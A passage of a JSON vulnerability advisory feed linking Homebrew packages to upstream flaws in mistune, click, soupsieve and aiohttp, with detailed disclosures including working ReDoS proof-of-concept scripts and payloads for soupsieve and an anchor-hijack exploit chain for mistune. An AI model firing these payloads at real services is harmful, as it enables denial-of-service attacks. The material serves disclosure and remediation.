`#harmful-link`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-qfrw-5rxm-mhh2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59929"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/c7101fcbb6e8790e8e39157c5ca2238fc6dd6cbc"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2217.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59930","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-2hm2-hc3v-44h9","CVE-2026-59930","PYSEC-2026-2218"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune toc / TableOfContents directive: heading IDs use predictable `toc_N` numbering with no slugification, allowing collision with attacker-controlled `id=\"toc_N\"` content","details":"## Summary\n\n**Type:** Predictable identifier generation. The `toc` plugin and `TableOfContents` directive both default to generating heading IDs of the form `toc_1`, `toc_2`, `toc_3`, ... with no input-derived component. An attacker who can place a heading anywhere in the document can predict which `toc_N` ID it will receive, and can inject HTML elsewhere (in a non-heading context) that uses the same `id=\"toc_N\"` to either (a) shadow the legitimate heading anchor, breaking same-page navigation, or (b) collide with CSS or JavaScript that targets `#toc_N` selectors, redirecting click handlers and styling to attacker-chosen content.\n**File:** `src/mistune/toc.py` line 36-37 (`heading_id = lambda token, index: \"toc_\" + str(index + 1)`); `src/mistune/directives/toc.py` line 33 (same default).\n**Root cause:** the default `heading_id` callback ignores the heading's text content and uses only the headings's order in the document. Two documents rendered together (or one document with attacker-influenced headings spliced into trusted content) produce overlapping `toc_N` IDs. Because `id` attribute uniqueness is required by HTML, browsers behaviour on duplicate IDs is undefined; `document.getElementById('toc_1')` returns the first match, `getElementsByTagName + querySelector` semantics differ across paths, and CSS rules targeting `#toc_1` apply to whichever element matches first in tree order.\n\n## Affected Code\n\n**File:** `src/mistune/toc.py`, lines 33-39.\n\n```python\ndef add_toc_hook(md, min_level=1, max_level=3, heading_id=None):\n if heading_id is None:\n def heading_id(token, index):\n return \"toc_\" + str(index + 1) # <-- BUG: index-only ID, no slug derived from heading text\n```\n\n**File:** `src/mistune/directives/toc.py`, lines 32-33.\n\n```python\nclass TableOfContents(DirectivePlugin):\n def __init__(self, min_level=1, max_level=3):\n # ...\n\n def generate_heading_id(self, token, index):\n return \"toc_\" + str(index + 1) # <-- BUG: same predictable scheme\n```\n\n**Why it's wrong:** the standard markdown-engine convention (used by GitHub-flavoured Markdown, Sphinx, MkDocs, pandoc, every modern markdown renderer in production) is to slugify the heading TEXT for the ID — `

    Introduction

    ` — with a numeric suffix appended only when slug collisions occur. mistune's default punts the slugification entirely and produces purely positional IDs that an attacker can predict in O(1).\n\nThe downstream impacts:\n- Same-page links with `[click](#toc_1)` go to whichever element with `id=\"toc_1\"` appears first in tree order. If the attacker can land any HTML element with `id=\"toc_1\"` before the real heading (via inline_html with `escape=False`, via the include-directive HTML branch, via attacker-supplied content earlier in the document), navigation is hijacked.\n- CSS rules targeting `#toc_1` apply to the wrong element.\n- JavaScript bound to `document.getElementById('toc_1')` operates on the wrong element.\n- The TOC's own `    ` link in the rendered TOC list points to whichever element wins the duplicate-ID race.\n\n## Exploit Chain\n\n1. Application uses mistune with `add_toc_hook(md)` or `TableOfContents` directive enabled (the documented setup for sites with TOC support).\n2. Application renders an attacker-supplied document, or splices attacker content into a trusted document. With `escape=False` (or via the include-directive `.html` branch covered by my prior advisory), the attacker can place `...` anywhere in the document.\n3. mistune assigns `id=\"toc_1\"` to the first heading. Now there are two elements with `id=\"toc_1\"` in the page.\n4. The rendered TOC contains `First heading`. Clicking it navigates to whichever element with `id=\"toc_1\"` appears first in tree order. If the attacker placed their `` BEFORE the heading, navigation is hijacked.\n5. Same-page CSS / JS / aria-described references to `#toc_1` similarly redirect.\n\n## Security Impact\n\n**Severity:** sec-low. Not a direct XSS or RCE; the issue is identifier confusion that enables UI-redirection / navigation-hijack attacks. The realistic attacker capability is \"make an internal anchor link go to attacker content instead of the real heading\", or \"make a CSS selector apply to attacker content\", or \"break aria/screen-reader associations\".\n**Attacker capability:** with the ability to plant any HTML element with `id=\"toc_N\"` in the document, hijack `` navigation and any CSS/JS targeting that ID. With `escape=False`, this is straightforward. With `escape=True`, the attacker needs another vector to land a raw `id` attribute (one of the include-directive branches, a sibling tooling pipeline that lets HTML through, etc.).\n**Preconditions:** application uses TOC + the default `heading_id` callback. If the application provides its own `heading_id` (e.g., one based on slugified heading text, with collision suffixes), this finding does not apply.\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport mistune\nfrom mistune.directives import RSTDirective, TableOfContents\nmd = mistune.create_markdown(plugins=[RSTDirective([TableOfContents()])])\n\nprint(md('''\n.. toc::\n\n# Heading 1\n\n# Heading 2\n'''))\n\n# Output (note: id=\"toc_1\" / id=\"toc_2\", purely positional):\n#
    \n# Table of Contents\n# \n#
    \n#

    Heading 1

    \n#

    Heading 2

    \n```\n\nThe patched build (with the suggested fix below) produces text-derived slugs like `id=\"heading-1\"` and `id=\"heading-2\"`, which are tied to content rather than position.\n\n## Suggested Fix\n\nDefault to slugifying the heading text:\n\n```diff\n--- a/src/mistune/toc.py\n+++ b/src/mistune/toc.py\n@@ -33,9 +33,18 @@ def add_toc_hook(md, min_level=1, max_level=3, heading_id=None):\n if heading_id is None:\n+ import re\n+ _slug_re = re.compile(r\"[^a-z0-9]+\")\n+ seen = {}\n def heading_id(token, index):\n- return \"toc_\" + str(index + 1)\n+ text = striptags(md.renderer(md.inline(token[\"text\"], {}), BlockState()))\n+ slug = _slug_re.sub(\"-\", text.lower()).strip(\"-\") or \"section\"\n+ n = seen.get(slug, 0)\n+ seen[slug] = n + 1\n+ return slug if n == 0 else f\"{slug}-{n}\"\n```\n\nSame change applies to `src/mistune/directives/toc.py:33`. Existing applications that have hardcoded `#toc_N` anchors will break; document the migration in the changelog and consider providing an opt-out flag for the legacy behaviour. Add a regression test that asserts heading IDs are slug-derived, not position-derived, and that collisions get a `-N` suffix.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-2hm2-hc3v-44h9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59930"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/c4093c4742ed0d10d9332fb8edb455869b7b581b"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2218.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-7246","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["PYSEC-2026-2132","CVE-2026-7246","GHSA-47fr-3ffg-hgmw"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"8.3.3","resource":"click","resource_purl":"pkg:pypi/click@8.5.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"click","subject_version":"8.5.0","key":"pkg:pypi/click@8.5.0","resource":"click"}]},"details":"Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-7246"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-7246.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24761"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24762"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464121"},{"type":"FIX","url":"https://github.com/pallets/click/releases/tag/8.3.3"},{"type":"EVIDENCE","url":"https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-85999","published":"2026-09-18T14:56:30Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-j934-xhv5-fg8f","CVE-2026-85999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.9.2","key":"pkg:pypi/soupsieve@2.9.2","resource":"soupsieve"}]},"summary":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","details":"## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe)\nRE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern) # <-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n t0 = time.perf_counter()\n try:\n sv.compile(sel); st = \"ok\"\n except Exception as e:\n st = type(e).__name__\n return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n dt, st = ct(\"a\" + \" \" * n + \"b\")\n print(f\" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\">\"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):\n n=2000 len=2002 112.3 ms [ok]\n n=4000 len=4002 411.5 ms [ok]\n n=8000 len=8002 1602.9 ms [ok]\n n=16000 len=16002 6464.1 ms [ok]\n\nVALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run):\n n=1000 len=5002 48.9 ms [SelectorSyntaxError]\n n=2000 len=10002 194.8 ms [SelectorSyntaxError]\n n=4000 len=20002 780.2 ms [SelectorSyntaxError]\n n=8000 len=40002 3145.3 ms [SelectorSyntaxError]\n\n[+] Single call: compile('a' + ' '*20000 + 'b') (len=20002)\n[+] wall time = 10.23 s [ok]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector 'a' + ' '*n + 'b':\n n=2000 len=2002 102.7 ms [ok]\n n=4000 len=4002 404.3 ms [ok]\n n=8000 len=8002 1618.2 ms [ok]\n n=16000 len=16002 6457.9 ms [ok]\n[+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r'^{WSC}*').match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85999"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-86000","published":"2026-09-18T14:56:30Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-gjv8-xp57-g29c","CVE-2026-86000"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.9.2","key":"pkg:pypi/soupsieve@2.9.2","resource":"soupsieve"}]},"summary":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns","details":"## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr'''\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n'''\n# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr'''(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|'...'|{IDENTIFIER})'''\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n t0 = time.perf_counter()\n try:\n sv.compile(sel)\n status = \"ok\"\n except Exception as e:\n status = type(e).__name__\n return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: '[a=' + 'a'*n (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n dt, st = compile_time(\"[a=\" + \"a\" * n)\n print(f\" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]\")\n\nprint(\"\\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n dt, st = compile_time(\"a\" * n + \"!\")\n print(f\" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]\")\n\npayload = \"[a=\" + \"a\" * 12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: '[a=' + 'a'*n (unterminated attribute value)\n n=1000 len=1003 214.8 ms [SelectorSyntaxError]\n n=2000 len=2003 504.7 ms [SelectorSyntaxError]\n n=4000 len=4003 2031.9 ms [SelectorSyntaxError]\n n=8000 len=8003 8091.3 ms [SelectorSyntaxError]\n\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)\n n=2000 len=2001 79.7 ms [SelectorSyntaxError]\n n=4000 len=4001 322.9 ms [SelectorSyntaxError]\n n=8000 len=8001 1328.9 ms [SelectorSyntaxError]\n n=16000 len=16001 5379.4 ms [SelectorSyntaxError]\n\n[+] Single call: compile('[a=' + 'a'*12000) (len=12003)\n[+] wall time = 18.28 s [SelectorSyntaxError]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: '[a=' + 'a'*n\n n=1000 len=1003 113.9 ms [SelectorSyntaxError]\n n=2000 len=2003 457.2 ms [SelectorSyntaxError]\n n=4000 len=4003 1816.8 ms [SelectorSyntaxError]\n n=8000 len=8003 7299.0 ms [SelectorSyntaxError]\n[+] Single call: compile('[a=' + 'a'*12000) wall time = 16.57 s [SelectorSyntaxError]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?>...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86000"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9"}]}],"advai-cli":[{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-59881","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T17:33:08Z","upstream":["GHSA-mq44-7p77-q5h7","CVE-2026-59881","PYSEC-2026-3547"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"},{"fixed":"1.0.12"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket client accepts compressed frames without negotiated permessage-deflate","details":"### Summary\n\nThe client accepts and decompresses frames with the RSV1 bit set even when the `permessage-deflate` extension was not negotiated.\n\n### Impact\n\nA client may unexpectedly decompress WebSocket frames when explicitly opted out. This could lead to additional CPU/memory consumption, but is unlikely to be a significant issue unless a zip bomb vulnerability or similar is also present.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mq44-7p77-q5h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59881"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/12978"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47fb6ae354d4fa22048f4dbe7dbf82b625f0a2f6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"http://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-advai-cli-CVE-2026-69243","published":"2026-08-13T16:35:11Z","modified":"2026-09-17T17:33:08Z","upstream":["GHSA-mfx4-hv73-q22v","CVE-2026-69243","PYSEC-2026-3546"],"affected":[{"package":{"ecosystem":"Homebrew","name":"advai-cli","purl":"pkg:brew/advai-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.9"},{"fixed":"1.0.12"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: HTTP request smuggling via WebSocket upgrade","details":"### Summary\n\nThe HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.\n\n### Impact\n\nIf using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.\n\n---\n\nPatch: 